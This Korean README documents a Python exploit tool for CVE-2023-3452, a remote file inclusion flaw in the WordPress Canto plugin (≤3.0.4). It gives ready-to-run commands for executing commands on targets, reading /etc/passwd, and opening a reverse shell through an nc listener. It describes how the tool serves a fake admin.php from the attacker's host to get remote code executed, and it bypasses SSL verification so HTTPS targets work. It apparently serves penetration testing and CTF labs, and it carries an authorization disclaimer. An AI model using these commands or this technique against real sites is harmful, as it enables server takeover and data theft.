CVE-2023-3452 - WordPress Canto 플러그인 RCE

WordPress Canto 플러그인 (≤ 3.0.4) RFI 취약점에 대한 익스플로잇입니다. 실제로 HTTPS에서 작동합니다 — 다른 공개 PoC는 SSL에서 포기하는 편이었습니다.

공로는 마땅히 인정해야 합니다: 이 CVE는 다른 사람들이 발견했습니다. 저는 HTTPS 대상에서도 작동하는 버전을 만들었을 뿐입니다.

취약점

이 버전이 필요한 이유?

이 CVE에 대한 대부분의 익스플로잇은 SSL 검증 때문에 HTTPS에서 작동하지 않습니다. 이 스크립트는:

• verify=False를 사용하여 HTTPS 대상이 실제로 작동하도록 함
• urllib3 경고 스팸을 억제함
• HTTP와 HTTPS 모두 동일하게 실행됨 — 별도 설정 필요 없음

요구 사항

• Python 3.6+
• requests

설치

pip install -r requirements.txt

또는 간단히: pip install requests

사용법

python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]

인수

* 명령어 없음 = 건강 체크로 id; whoami; hostname 실행

예제

단일 명령어:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"

파일 읽기:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"

리버스 셸 (먼저 nc -lvnp 4444 실행):

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444

대화형 모드:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i

HTTPS CTF 대상:

python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"

작동 방식

1. 확인 — /wp-content/plugins/canto/readme.txt에 접속하여 버전을 확인합니다 (≤ 3.0.4 = 취약함)
2. 페이로드 — system()을 통해 명령어를 실행하는 가짜 wp-admin/admin.php를 작성합니다
3. 서빙 — 대상이 우리 파일을 가져올 수 있도록 로컬 HTTP 서버를 실행합니다
4. 트리거 — wp_abspath=http://LHOST:LPORT로 download.php에 요청하여 원격 PHP를 포함하도록 합니다
5. 실행 — 대상 서버가 우리 코드를 실행하고, 결과를 돌려받습니다

네트워크 참고 사항

• 대상이 LHOST:LPORT에서 사용자 머신에 접근할 수 있어야 합니다 (HTB/실습실의 경우 VPN IP)
• 방화벽에서 페이로드 포트(-p)의 인바운드를 허용해야 합니다

면책 조항

승인된 테스트 및 교육 목적으로만 사용하십시오. 허가된 시스템만 다루십시오. 그 외의 용도는 불법입니다.

라이선스

MIT